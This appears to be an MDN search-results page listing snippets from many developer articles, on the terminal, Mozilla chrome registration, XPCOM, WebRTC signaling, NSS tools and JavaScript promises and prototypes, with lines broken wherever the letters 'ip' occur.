ubtedly be required to run some command in the terminal (or on the "command line" -- these are effectively the same thing). this article provides an introduction to the terminal, the essential commands you'll need to enter into it, how to chain commands together, and how to add your own command line interface (cli) tools. prerequisites: familiarity with the core html, css, and javascr
ipt languages. objective: to understand what the terminal/command line is, what basic commands you should learn, and how to install new command line tools. welcome to the terminal the terminal is a text interface for executing text-based programs. if you're running any tooling for web development there's a near-guaranteed chance that you'll have to pop open the command line and r...
...with a bit of guidance and practise, using them will get easier! this is why we are providing this chapter -- to help you get started in this seemingly unfriendly environment. where did the terminal come from? the terminal originates from around the 1950s-60s and its original form really doesn't resemble what we use today (for that we should be thankful). you can read a bit of the history on wik
ipedia's entry for computer terminal. since then, the terminal has remained a constant feature of all operating systems -- from desktop machines, to servers tucked away in the cloud (it's not really a cloud), to microcomputers like the raspberry pi zero, and even to mobile phones. it provides direct access to the computer's underlying file system and low-level features, and is therefore incredibly ...
...before you go any further, open your term...
...And 14 more matches
Chrome registration
rome for a given window type (e.g., for the browser window) is called a chrome provider. the providers work together to supply a complete set of chrome for a particular window, from the images on the toolbar buttons to the files that describe the text, content, and appearance of the window itself. there are three basic types of chrome providers: content the main source file for a window descr
iption comes from the content provider, and it can be any file type viewable from within mozilla. it will typically be a xul file, since xul is designed for describing the contents of windows and dialogs. the javascr
ipt files that define the user interface are also contained within the content packages, as well as most xbl binding files. locale localizable applications keep all their localized inf...
... to plug in a different chrome package to translate an application without altering the rest of the source code. the two main types of localizable files are dtd files and java-style properties files. skin a skin provider is responsible for providing a complete set of files that describe the visual appearance of the chrome. typically a skin provider will provide css files and images. note: scr
ipts (including those found in xbl) loaded from skin packages will not execute. the chrome registry the gecko runtime maintains a service known as the chrome registry that provides mappings from chrome package names to the physical location of chrome packages on disk. this chrome registry is configurable and persistent, and thus a user can install different chrome providers, and select a preferr...
...omponent/mycomponent.xpt [flags] instructs mozilla to load interface information from a typelib file produced by xpidl. prior to firefox 4, files in the components directory were registered automatically. component component {00000000-0000-0000-0000-000000000000} components/mycomponent.js [flags] informs mozilla about a component cid implemented by an xpcom component implemented in javascr
ipt (or another scr
ipting language, if applicable). the classid {0000...} must match the classid implemented by the component. to generate a unique classid, use a uuid generator program or site. contract contract @foobar/mycontract;1 {00000000-0000-0000-0000-000000000000} [flags] maps a contract id (a readable string) to the classid for a specific implementation. typically a contract id will b...
...And 14 more matches
HTML parser threading
rom document.write() is parsed on the main thread. main objects nshtml5parser contains the code for dealing with data from document.write(). (for historical reasons, it also contains unrelated fragment parsing code that should be refactored into a separate class in due course.) nshtml5streamparser contains the code for dealing with data from the network. nshtml5parser owns nshtml5streamparser. scr
ipt-created parsers (i.e. parsers created using document.open()) don't have an nshtml5streamparser instance. nshtml5parser has one tokenizer/tree builder pair for parsing data from document.write(). it also has another lazily initialized tokenizer/tree builder for speculatively scanning the tail of document.write() data when the parser blocks without parsing the document.write() data to completion. ...
...ilder pair for parsing data from the network. additionally, each nshtml5parser has an associated nshtml5treeopexecutor that turns the output (tree operations; discussed later) of the portable parser core into actions performed on the gecko dom. initialization an nshtml5parser is constructed without an nshtml5streamparser due to legacy code structure around parser creation. if the parser is not scr
ipt-created, nshtml5parser::markasnotscr
iptcreated() is called to create an nshtml5streamparser for the nshtml5parser. due to legacy interface design oddities, an nshtml5parser is initialized by calling nshtml5parser::parse(nsiuri*, nsirequestobserver*, void*, nsdtdmode). that method call doesn't yet cause anything to be parsed, though. actual network data is passed to an nsistreamlistener. nshtml5s...
...ecked to see if runflushloop() has spent too much time without returning to the event loop. if too much time has been spent, a runnable for calling runflushloop() again is dispatched and an early return made before all tree ops have been executed. (only the already executed ops are destructed and the rest are left in the queue.) the last op in the queue may be an op for attempting to execute a scr
ipt that may block the parser (ops for attempting to execute async and defer scr
ipts are normal tree ops and don't need to be the last op in a queue). the parts of the parser that drive the tokenizer/tree builder pairs guarantee to flush tree ops immediately if a scr
ipt execution tree op is generated. (the tree builder makes the tokenizer return immediately when such an op is generated.) thus, a tre...
...And 14 more matches
JS::Compile
this article covers features introduced in spidermonkey 17 compile a scr
ipt for execution. ...
... this article covers features introduced in spidermonkey 17 compile a scr
ipt for execution. ...
... this article covers features introduced in spidermonkey 17 compile a scr
ipt for execution. ...
...And 14 more matches
Language bindings
to access these modules. since the xpcom layer itself is written in c/c++, its api can be accessed out-of-the-box using c or c++. in order to allow any other language to use the xpcom api, a bridging layer is required. ...
... c or c++. in order to allow any other language to use the xpcom api, a bridging layer is required. the following bridging layers are currently available: components objectthe components object is the object through which xpconnect functionality is reflected into javascr
ipt. ...
...ct is actually a native instance of the nsixpccomponents interface which is reflected into javascr
ipt as a top level object using xpconnect.components.classescomponents.classes is a read-only object whose properties are classes indexed by contractid.components.classesbyidcomponents.classesbyid is a read-only object whose properties are classes indexed by cid.components.constructorcreates a javascr
ipt function which can be used to create or construct new instances of xpcom components.components.exceptioncomponents.exception is a javascr
ipt constructor to create nsixpcexception objects. ...
...And 14 more matches
Migrating from Firebug - Firefox Developer Tools
hare the same shortcuts, but also provide shortcuts for the different panels. e.g. the network monitor can be opened via ctrl+shift+q / cmd+opt+q, the web console via ctrl+shift+k / cmd+opt+k and the debugger via ctrl+shift+s / cmd+opt+s. web console the web console is the equivalent of firebug's console panel. it shows log information associated with a web page and allows you to execute javascr
ipt expressions via its command line. the display between both is somewhat different. this may be changed in bug 1269730. filter log messages firebug offers two ways to filter log messages, via the options menu and via the filter buttons within the toolbar. the developer tools console offers similar functionality via the filter buttons inside its toolbar -- centralized at one place. command line ...
...e displayed in the events side panel in firebug. in the devtools they are shown when clicking the small 'ev' icon besides an element within the node view. both tools allow to display wrapped event listeners (e.g. listeners wrapped in jquery functions). to improve the ui of the devtools, there is also a request to add an events side panel to them like the one in firebug (see bug 1226640). stop scr
ipt execution on dom mutation in firebug you can break on dom mutations, that means that when an element is changed, the scr
ipt execution is stopped at the related line within the javascr
ipt file, which caused the change. this feature can globally be enabled via the break on mutate button, or individually for each element and for different types of changes like attribute changes, content changes or...
... search for elements via css selectors or xpaths firebug allows to search for elements within the html panel via css selectors or xpaths. also the devtools' inspector panel allows to search for css selectors. it even displays a list with matching ids or classes. ...
...And 14 more matches
Signaling and video calling - Web APIs
; what's demonstrated here is just one possible way to structure signaling messages. this example's server uses stringified json objects to communicate with its clients. this means our signaling messages will be in json format, with contents which specify what kind of messages they are as well as any additional information needed in order to handle the messages properly. exchanging session descr
iptions when starting the signaling process, an offer is created by the user initiating the call. this offer includes a session descr
iption, in sdp format, and needs to be delivered to the receiving user, which we'll call the callee. the callee responds to the offer with an answer message, also containing an sdp descr
iption. our signaling server will use websocket to transmit offer messages with th...
...ith an answer message, also containing an sdp descr
iption. our signaling server will use websocket to transmit offer messages with the type "video-offer", and answer messages with the type "video-answer". these messages have the following fields: type the message type; either "video-offer" or "video-answer". name the sender's username. target the username of the person to receive the descr
iption (if the caller is sending the message, this specifies the callee, and vice-versa). sdp the sdp (session descr
iption protocol) string describing the local end of the connection from the perspective of the sender (or the remote end of the connection from the receiver's point of view). at this point, the two partic
ipants know which codecs and codec parameters are to be used for this call. th...
... the actual connection between them. every ice candidate describes a method that the sending peer is able to use to communicate. each peer sends candidates in the order they're discovered, and keeps sending candidates until it runs out of suggestions, even if media has already started streaming. an icecandidate event is sent to the rtcpeerconnection to complete the process of adding a local descr
iption using pc.setlocaldescr
iption(offer). once the two peers agree upon a mutually-compatible candidate, that candidate's sdp is used by each peer to construct and open a connection, through which media then begins to flow. if they later agree on a better (usually higher-performance) candidate, the stream may change formats as needed. though not currently supported, a candidate received after me...
...And 14 more matches
Introduction to Web development - Developer guides
sic concepts and fundamentals css reference guide -- a complete guide to css with details on the level of gecko/firefox support for each. the w3c introduction to styling with css -- a brief guide to styling web pages for beginners. common css questions -- common questions and answers for beginners intermediate css concepts -- grouping, pseudo-classes and more. ...
...a complete guide to css with details on the level of gecko/firefox support for each. the w3c introduction to styling with css -- a brief guide to styling web pages for beginners. common css questions -- common questions and answers for beginners intermediate css concepts -- grouping, pseudo-classes and more. ...
...s with details on the level of gecko/firefox support for each. the w3c introduction to styling with css -- a brief guide to styling web pages for beginners. common css questions -- common questions and answers for beginners intermediate css concepts -- grouping, pseudo-classes and more. ...
...And 14 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the above example shows usage of the <img> element: the src attribute is required, and contains the path to the image you want to embed. the alt attribute holds a text descr
iption of the image, which isn't mandatory but is incredibly useful for accessibility -- screen readers read this descr
iption out to their users so they know what the image means. alt text is also displayed on the page if the image can't be loaded for some reason: for example, network errors, content blocking, or linkrot. there are many other attributes to achieve various purposes: referrer/cor...
... image loading errors if an error occurs while loading or rendering an image, and an onerror event handler has been set on the error event, that event handler will get called. this can happen in a numbe...
...n. the image is corrupted in some way that prevents it from being loaded. the image's metadata is corrupted in such a way that it's impossible to retrieve its dimensions, and no dimensions were specified in the <img> element's attributes. the image is in a format not supported by the user agent. attributes this element includes the global attributes. alt defines an alternative text descr
iption of the image. note: browsers do not always display images. there are a number of situations in which a browser might not display images, such as: non-visual browsers (such as those used by people with visual impairments) the user chooses not to display images (saving bandwidth, privacy reasons) the image is invalid or an unsupported type in these cases, the browser may replace...
...And 14 more matches
Miscellaneous - Archive of obsolete content
system info operating system detection // returns "winnt" on windows vista, xp, 2000, and nt systems; // "linux" on gnu/linux; and "darwin" on mac os x. ...
...height: 6em; width: 10em;"> this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. ...
...em;"> this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. this is the scrolling area. ...
...And 13 more matches
XPCOM Objects - Archive of obsolete content
in fact, you can separate the two. we often mention other "mozilla based applications". ...
...n cc["some-string"] should either be getservice or createinstance, depending on what you're asking for. in most cases it is very clear which one to call, but in case of doubt, look for documentation on it. those two methods always receive the interface identifier as an argument. similarly to cc, ci (components.interfaces) is an index of available interfaces. a modified version of the last code sn
ippet produces an even longer list of available interfaces. just like in component identifiers, the nsi prefix is just a way of keeping things in order. the ns stands for netscape, mozilla's predecessor. the "i" stands for interface. our interfaces should begin with something like xsihello. an interface is just a definition of a set of attributes and methods that an object implementing it should ha...
...ilable interfaces. just like in component identifiers, the nsi prefix is just a way of keeping things in order. the ns stands for netscape, mozilla's predecessor. the "i" stands for interface. our interfaces should begin with something like xsihello. an interface is just a definition of a set of attributes and methods that an object implementing it should have. ...
...And 13 more matches
Signing an XPI - Archive of obsolete content
to sign your xpi package? by mozdev group's pete collins. this article is a mirror of the original, with minor reformatting, some new info and all links updated in march 2010. get network security services 1. download the latest network security services (nss) package from the mozilla ftp site at https://ftp.mozilla.org/pub/mozilla.or.../nss/releases/. for windows, you'll want the nss-3.11.4.z
ip package in the nss_3_11_4_rtm/msvc6.0/winnt5.0_opt.obj/ folder - it is by 2010 the only one with the right binaries. 2. extract the contents of the archive file to a local folder. in my case it's c:\apps\nss-3.11.4\ get netscape portable runtime 1. download the latest netscape portable runtime from the mozilla ftp site: http://ftp.mozilla.org/pub/mozilla.org/nspr/releases/. for windows you'll ...
..._3_11_4_rtm/msvc6.0/winnt5.0_opt.obj/ folder - it is by 2010 the only one with the right binaries. 2. extract the contents of the archive file to a local folder. in my case it's c:\apps\nss-3.11.4\ get netscape portable runtime 1. download the latest netscape portable runtime from the mozilla ftp site: http://ftp.mozilla.org/pub/mozilla.org/nspr/releases/. for windows you'll want the nspr-4.6.z
ip package in the v4.6/winnt5.0_opt.obj/ folder. 2. extract the contents of the archive file to a local folder. in my case it's c:\apps\nspr-4.6\ add path add the nss tools bin/ and lib/, and the nspr lib/ directories to the system path. you can either set this permanently via control panel->system properties->advanced->environment variables->system variables or do it each time you run the tools ...
...on the file system and in the certificate database: c:\projects\codesigning\> dir x509* 14/12/2005 15:13 1,031 x509.cacert 14/12/2005 15:13 798 x509.raw c:\projects\codesigning\> certutil -d . ...
...And 13 more matches
Tamarin Build System Documentation - Archive of obsolete content
andbox build occurs in the order they were submitted, the submitter may cancel a build. ...
...s in the order they were submitted, the submitter may cancel a build. how do i build a sandbox build? create a user repository, instructions are https://developer.mozilla.org/en/publishing_mercurial_clones go to the request a sandbox build page http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cfm enter the repository url, revision number, email address, and descr
iption. ...
...iew and change the queue? ...
...And 13 more matches
Using Breakpoints in Venkman - Archive of obsolete content
kman that began with venkman introduction. one of the basic tasks of debugging any language is setting breakpoints. breakpoints are places in code where execution is suspended. when you set a breakpoint in a debugging application such as venkman, you can take advantage of the suspension to examine variables, objects, and other featues of the execution. this article describes breakpoints in javascr
ipt and how to use venkman to set and examine breakpoints. basic breakpoints the stop button and debugger keyword are useful features of the javascr
ipt debugger, but when you are debugging deep in code--especially code you have authored yourself and are responsible for troubleshooting--you're going to need breakpoints. types of breakpoints venkman has two types of breakpoints. the first, and most co...
...he pseudocode of a compiled function. hard breakpoints can only exist in the context of a function currently "live" in the browser. hard breakpoints are the ones that actually stop program execution. the second type of breakpoint, the "future" breakpoint, represents a promise from venkman to set a hard breakpoint as soon as it is possible. future breakpoints are used when you want to stop in a scr
ipt that has not yet been compiled. the most common use of future breakpoints is to stop in a "top level" scr
ipt (scr
ipt that executes outside of any function), or scr
ipt that executes during the onload event of a page. when a scr
ipt is loaded that matches the url of a future breakpoint, and has executable code at the specified line, venkman will automatically set a future breakpoint. except for thi...
...rgin will change to the letter "b", as in figure 2. if you execute this code again after having set this breakpoint, venkman will stop at line 81. (note: by default, venkman hides files file that appear to be part of the browser core; this includes extensions. to debug an extension, uncheck "exclude browser files" on the debug menu and your installed extension files should appear in the loaded scr
ipts list.) venkman also indicates that one or more breakpoints have been set in the loaded scr
ipts view, where red dots appear next to the files in which breakpoints have been set, along with the line number where the function begins whose code is being stopped. using breakpoints to debug when you set a breakpoint, you give venkman (or whatever debugger you're using) the opportunity to display in...
...And 13 more matches
Advanced Rules - Archive of obsolete content
. . you want to display a row in a tree for each city. to do this, use the member element as in the following: <tree id="citiestree" datasources="weather.rdf" ref="http://www.xulplanet.com/rdf/weather/cities"> <template> <rule> <conditions> <content uri...
.... . you want to display a row in a tree for each city. ...
... the value of the child attribute. in this case, it is just set to the variable 'city'. so the builder will set the 'city' variable to the each child resource in turn. because there are no more conditions, the condition matches for each of those four resources and the builder will generate content for each of the four. of course, the example above doesn't have any content. we'll add that later. ...
...And 13 more matches
XUL accessibility guidelines - Archive of obsolete content
accessibility is not difficult, but does require a basic understanding of the different types of disabilities, commonly used assistive technologies, and special accessibility features built into the xul languages. most of all, accessibility requires a conscious effort on your part, and a desire to include everyone. ...
... understanding the guidelines is vital. learn more accessibility platform features mozilla community software accessibility - where are we today? intro to accessibility, assistive technologies, and mozilla resources. introduction to web accessibility. overview of web accessibility from webaim. dive into accessibility. downloadable book on web accessibility with t
ips and character sketches. assistive technology compatibility. list of popular assistive technologies and their respective compatibility levels with xul. #accessibility. accessibility channel for general discussion around internet accessibility with logger. useful at conferences. apple accessibility. portal to apple accessibility. lars (linux accessibility resource site). portal for...
...dows and ctrl + click or ctrl + space on a mac). use the oncontextmenu event handler or the context attribute to create context menus. do not specifically code them to open on a click of the right mouse button. the oncontextmenu event and context attribute work with the correct platform-specific context menu triggers, including the keyboard button and appropriate mouse clicks. mouse dependent scr
ipting functionality associated with mouse events such as onmouseover, onmousemove, and ondrag can only be activated with the use of the mouse. provide keyboard-accessible alternative access points for this functionality. consider using context menu items or other xul elements along with keyboard shortcuts. scrolling ensure that scrolling is keyboard accessible. many xul elements can be set to sc...
...And 13 more matches
Debugging a XULRunner Application - Archive of obsolete content
the easiest way to debug a xulrunner application is to get the system to tell you what's wrong! there are two different consoles available and various preferences which will ensure that the information you need to know is displayed on them. see also debugging javascr
ipt prefs setting the following prefs will make your debugging life much easier! preferences should be in a .js file in the directory %appname%/defaults/preferences/. it doesn't matter what the file is called (as long as the extension is .js), so debug.js is as good as any! /* debugging prefs */ pref("browser.dom.window.dump.enabled", true); pref("javascr
ipt.options.showinconsole", true); pref("javascr
ipt.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastloa...
...("browser.dom.window.dump.enabled", true) is enabled. to output dump calls instead to a file, set browser.dom.window.dump.file to the file destination where the log should be created and restart the application. if you would like the console messages to appear in the console you used to launch the application, you can use the gecko console redirector. precompiled binaries are available in the z
ipped archive https://github.com/matthewkastor/redirector/archive/master.z
ip under redirector-master\gecko\console redirector\bin\release copy all the dll's and the exe to wherever you want. then run console redirector.exe /? javascr
ipt console to enable the js console, start xulrunner with the -jsconsole argument. note: if you are not using the stub executable to launch the application, the -js...
...redirector.exe /? ...
...And 13 more matches
Examples - Archive of obsolete content
this page contains the source code of the examples related to the "properly using css and javascr
ipt in xhtml documents" article. please refer to the article to learn more about these examples. if you wish to test these examples by yourself, please read the important notes. important notes if you plan to test these examples by yourself, you must use the right filename extension (it is written at the beginning of the code). ideally, upload the file to a web server and you're done. please note that the examples 4, 5 and 6 require a file named style.css to exist in the same directory as the example. you can get the contents of style.css at the bottom of this page. ...
...mples by yourself, you must use the right filename extension (it is written at the beginning of the code). ideally, upload the file to a web server and you're done. please note that the examples 4, 5 and 6 require a file named style.css to exist in the same directory as the example. you can get the contents of style.css at the bottom of this page. examples for "problems with inline style and scr
ipt" problem 1 <!-- this file should have a .xhtml extension and will generate an error when parsed. --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 1 - < in xhtml</title> <meta http-equiv="content-type" content="applicat...
...ve a .xhtml extension and will generate an error when parsed. --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 1 - < in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <scr
ipt type="text/javascr
ipt"> var i = 0; while (++i > 10) { // ... } </scr
ipt> </head> <body> <h1>problem 1 - < in xhtml</h1> <p> this document is not well formed due to the use of a raw <. </p> </body> </html> back to the article problem 2 <!-- this file should have a .xhtml extension --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.
...And 13 more matches
Mobile accessibility - Learn web development
xt with web access on mobile devices being so popular and renowned platforms such as ios and android having full-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms. this article looks at mobile-specific accessibility considerations. prerequisites: basic computer literacy, a basic understanding of html, css, and javascr
ipt, and an understanding of the previous articles in the course. objective: to understand what problems exist with accessibility on mobile devices, and how to overcome them. accessibility on mobile devices the state of accessibility -- and support for web standards in general -- is good in modern mobile devices. long gone are the days when mobile devices ran completely different...
...hones, and instead opted for their own screen reader. when you've found the talkback menu, press the slider switch to turn talkback on. follow any additional on-screen prompts that you are presented with. when talkback is turned on, your android device's basic controls will be a bit different. for example: single-tapping an app will select it, and the device will read out what the app is. sw
iping left and right will move between apps, or buttons/controls if you are in a control bar. the device will read out each option. double-tapping anywhere will open the app/select the option. you can also "explore by touch" -- hold your finger down on the screen and drag it around, and your device will read out the different apps/items you move across. if you want to turn talkback off: navig...
... touch" -- hold your finger down on the screen and drag it around, and your device will read out the different apps/items you move across. if you want to turn talkback off: navigate back to the talkback menu screen (using the different gestures that are currently enabled.) navigate to the slider switch and activate it to turn it off. note: you can get to your home screen at any time by sw
iping up and left in a smooth motion. if you have more than one home screen, you can move between them by sw
iping two fingers left and right. for a more complete list of talkback gestures, see use talkback gestures. unlocking the phone when talkback is turned on, unlocking the phone is a bit different. you can do a two-finger sw
ipe up from the bottom of the lock screen. if you've set a passcode...
...And 13 more matches
Video and audio content - Learn web development
handling such content. this kind of technology worked ok, but it had a number of problems, including not working well with html/css features, security issues, and accessibility issues. a native solution would solve much of this if implemented correctly. fortunately, a few years later the html5 specification had such features added, with the <video> and <audio> elements, and some shiny new javascr
ipt apis for controlling them. we'll not be looking at javascr
ipt here -- just the basic foundations that can be achieved with html. we won't be teaching you how to produce audio and video files -- that requires a completely different skillset. we have provided you with sample audio and video files and example code for your own experimentation, in case you are unable to get hold of your own. note...
... for the <img> element, the src (source) attribute contains a path to the video you want to embed. it works in exactly the same way. controls users must be able to control video and audio playback (it's especially critical for people who have epilepsy.) you must either use the controls attribute to include the browser's own control interface, or build your interface using the appropriate javascr
ipt api. at a minimum, the interface must include a way to start and stop the media, and to adjust the volume. the paragraph inside the <video> tags this is called fallback content -- this will be displayed if the browser accessing the page doesn't support the <video> element, allowing us to provide a fallback for older browsers. this can be anything you like; in this case, we've provided a direct...
... doesn't support the <video> element, allowing us to provide a fallback for older browsers. this can be anything you like; in this case, we've provided a direct link to the video file, so the user can at least access it some way regardless of what browser they are using. the embedded video will look something like this: you can try the example live here (see also the source code.) using mult
iple source formats to improve compatibility there's a problem with the above example, which you may have noticed already if you've tried to access the live link above with an older browser like internet explorer or even an older version of safari. the video won't play, because different browsers support different video (and audio) formats. fortunately, there are things you can do to help prevent t...
...And 13 more matches
Graceful asynchronous programming with Promises - Learn web development
objective: to understand promises and how to use them. ...
...nguage that allow you to defer further actions until after a previous action has completed, or respond to its failure. this is useful for setting up a sequence of async operations to work correctly. this article shows you how promises work, how you'll see them in use with web apis, and how to write your own. prerequisites: basic computer literacy, a reasonable understanding of javascr
ipt fundamentals. objective: to understand promises and how to use them. what are promises? we looked at promises briefly in the first article of the course, but here we'll look at them in a lot more depth. essentially, a promise is an object that represents an intermediate state of an operation -- in effect, a promise that a result of some kind will be returned at some point in...
... improvements with promises promises make situations like the above much easier to write, parse, and run. if we represented the above pseudo-code using asynchronous promises instead, we'd end up with something like this: choosetoppings() .then(function(toppings) { return placeorder(toppings); }) .then(function(order) { retu...
...And 13 more matches
Object prototypes - Learn web development
previous overview: objects next prototypes are the mechanism by which javascr
ipt objects inherit features from one another. in this article, we explain how prototype chains work and look at how the prototype property can be used to add methods to existing constructors. note: this article covers traditional javascr
ipt constructors and classes. in the next article, we talk about the modern way of doing things, which provides easier syntax to achieve the same things -- see ecmascr
ipt 2015 classes. prerequisites: understanding javascr
ipt functions, familiarity with javascr
ipt basics (see first steps and building blocks), and oojs basics (see introduction to objects). ...
...s and classes. in the next article, we talk about the modern way of doing things, which provides easier syntax to achieve the same things -- see ecmascr
ipt 2015 classes. prerequisites: understanding javascr
ipt functions, familiarity with javascr
ipt basics (see first steps and building blocks), and oojs basics (see introduction to objects). objective: to understand javascr
ipt object prototypes, how prototype chains work, and how to add new methods onto the prototype property. a prototype-based language? javascr
ipt is often described as a prototype-based language -- to provide inheritance, objects can have a prototype object, which acts as a template object that it inherits methods and properties from. an object's prototype object may also have a prototype ob...
...ects can have a prototype object, which acts as a template object that it inherits methods and properties from. an object's prototype object may also have a prototype object, which it inherits methods and properties from, and so on. this is often referred to as a prototype chain, and explains why different objects have properties and methods defined on other objects available to them. in javascr
ipt, a link is made between the object instance and its prototype (its __proto__ property, which is derived from the prototype property on the constructor), and the properties and methods are found by walking up the chain of prototypes. note: it's important to understand that there is a distinction between an object's prototype (available via object.getprototypeof(obj), or via the deprecated __pro...
...And 13 more matches
Displaying Places information using views
e stylesheet browser/components/places/content/places.css and overlay the file browser/components/places/content/placesoverlay.xul: <?xml-stylesheet href="chrome://browser/content/places/places.css" ?> <?xul-overlay href="chrome://browser/content/places/placesoverlay.xul" ?> it's this stylesheet that binds elements with the special type attribute to one of the views. the overlay contains javascr
ipt required by the views. it also contains the built-in places context menu and commands, which you may want to take advantage of in your own uses of the views. connecting a view to its data to hook up a built-in view to its data, use the view's special place attribute. note: starting in gecko 2.0, you can't use the place attribute with menus. see menu view for details. you may specify the at...
...u and commands, which you may want to take advantage of in your own uses of the views. connecting a view to its data to hook up a built-in view to its data, use the view's special place attribute. note: starting in gecko 2.0, you can't use the place attribute with menus. see menu view for details. you may specify the attribute directly in the xul or set its corresponding property via javascr
ipt. its value is the uri of a query, and the data shown in the view are the results of this query. for simple queries whose uris do not change over the life of the view, you might specify the place attribute directly in the xul. for more complicated queries or queries whose uris you plan on changing, you will want to set the view's place property dynamically using javascr
ipt. note that in the latte...
.... remember that, because xul is xml, any ampersands in query uris must be written as entity reference & and not simply &. <tree type="places" place="place:terms=mozilla&onlybookmarked=1&querytype=1"> <treecols> <treecol id="title" label="my bookmarks" flex="1" primary="true" /> </treecols> <treechildren /> </tree> the next example does the same as the last but uses javascr
ipt to set the tree's place attribute: var histserv = cc["@mozilla.org/browser/nav-history-service;1"]. getservice(ci.nsinavhistoryservice); var query = histserv.getnewquery(); query.searchterms = "mozilla"; query.onlybookmarked = true; var opts = histserv.getnewqueryoptions(); opts.querytype = opts.query_type_bookmarks; var uri = histserv.queriestoquerystring([query], 1, opts); var tree = d...
...And 13 more matches
Cross Process Object Wrappers
this document describes cross process object wrappers (cpows), which enable chrome code to synchronously access content in mult
iprocess firefox. note that from firefox 47 onwards, unsafe cpow usage is no longer permitted in browser code. if browser code tries an unsafe cpow operation, the browser will throw an exception and you'll see an "unsafe cpow usage forbidden" error in the browser console. add-on code is still allowed to use cpows "unsafely". however, if an add-on passes a cpow into a platform api, and that platform api then attempts an unsafe operation on it, this will throw an exception. so as a general rule, add-ons should avoid passing cpows into non-addon code. in mult
iprocess firefox, chrome code runs in a different process from web content. so chrome code can't d...
... and that platform api then attempts an unsafe operation on it, this will throw an exception. so as a general rule, add-ons should avoid passing cpows into non-addon code. in mult
iprocess firefox, chrome code runs in a different process from web content. so chrome code can't directly interact with web content: instead, it must factor out the code that interacts with web content into separate scr
ipts that are called frame scr
ipts. chrome code can load frame scr
ipts into the content process using the message manager, and can then communicate with them using a message-passing api. to learn more about this, see the documentation on using the message manager. chrome to content messaging must be asynchronous. this is because the chrome process runs the firefox ui, so if it were blocked by the ...
... message manager. chrome to content messaging must be asynchronous. this is because the chrome process runs the firefox ui, so if it were blocked by the content process, then a slow content process could cause firefox to become unresponsive to users. converting synchronous code to be asynchronous can be difficult and time-consuming. ...
...And 13 more matches
NSS_3.12_release_notes.html
note: firefox 3 uses nss 3.12, but not the new sqlite-based shareable certificate and key databases. we missed the deadline to enable that feature in firefox 3. distribution information the cvs tag for the nss 3.12 release is nss_3_12_rtm. nss 3.12 requires nspr 4.7.1. see the do...
...ilable on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_rtm/src/. binary distributions: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_rtm/. both debug and optimized builds are provided. go to the subdirectory for your platform, dbg (debug) or opt (optimized), to get the tar.gz or z
ip file. the tar.gz or z
ip file expands to an nss-3.12 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12 requires. nspr 4.7.1 binary distributions are in https://ftp...
...r 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12 requires. nspr 4.7.1 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.1/. ...
...And 13 more matches
NSS Tools ssltap
using the ssl debugging tool (ssltap) newsgroup: mozilla.dev.tech.crypto the ssl debugging tool is an ssl-aware command-line proxy. it watches tcp connections and displays the data going by. if a connection is ssl, the data display includes interpreted ssl records and handshaking. availability this tool is known to build on solaris 2.5.1 (sunos 5.5.1) and windows nt 4.0. descr
iption the ssltap command opens a socket on a rendezvous port and waits for an incoming connection from the client side. once this connection arrives, the tool makes another connection to the specified host name and port on the server side. it passes any data sent by the client to the server and vice versa. the tool also displays the data to the shell window from which it was called. it can do this...
...mbinations of options. example 1 the s and x options in this example turn on ssl parsing and show undecoded values in hex/ascii format. the output is routed to a text file. ...
...values in hex/ascii format. the output is routed to a text file. ...
...And 13 more matches
NSS tools : pk12util
the tool can import certificates and keys from pkcs#12 files into security databases, export certificates, and list certificates and keys. option...
...the tool can import certificates and keys from pkcs#12 files into security databases, export certificates, and list certificates and keys. option...
...12util [-i p12file [-h tokenname] [-v] [common-options] ] [ -l p12file [-h tokenname] [-r] [common-options] ] [ -o p12file -n certname [-c keyc
ipher] [-c certc
ipher] [-m|--key_len keylen] [-n|--cert_key_len certkeylen] [common-options] ] [ common-options are: [-d [sql:]directory] [-p dbprefix] [-k slotpasswordfile|-k slotpassword] [-w p12filepasswordfile|-w p12filepassword] ] descr
iption the pkcs #12 utility, pk12util, enables sharing certificates among any server that supports pkcs#12. the tool can import certificates and keys from pkcs#12 files into security databases, export certificates, and list certificates and keys. options and arguments options -i p12file import keys and certificates from a pkcs#12 file into a security data...
...And 13 more matches
NSS tools : ssltap
it watches tcp connections and displays the data going by. if a connection is ssl, the data display includes interpreted ssl records and handshaking options -v print a version string for the tool. -h turn on hex/ascii printing. ...
...tool continue to accept connections, switch on looping mode with the -l option. the following examples show the output from commonly used combinations of options. ...
...ut from commonly used combinations of options. ...
...And 13 more matches
Mozilla internal string guide
have a null-terminator (nsa[c]string). nsa[c]string is the base of the string classes (since it imposes fewer requirements) and ns[c]string is a class derived from it. functions taking strings as parameters should generally take one of these four types. ...
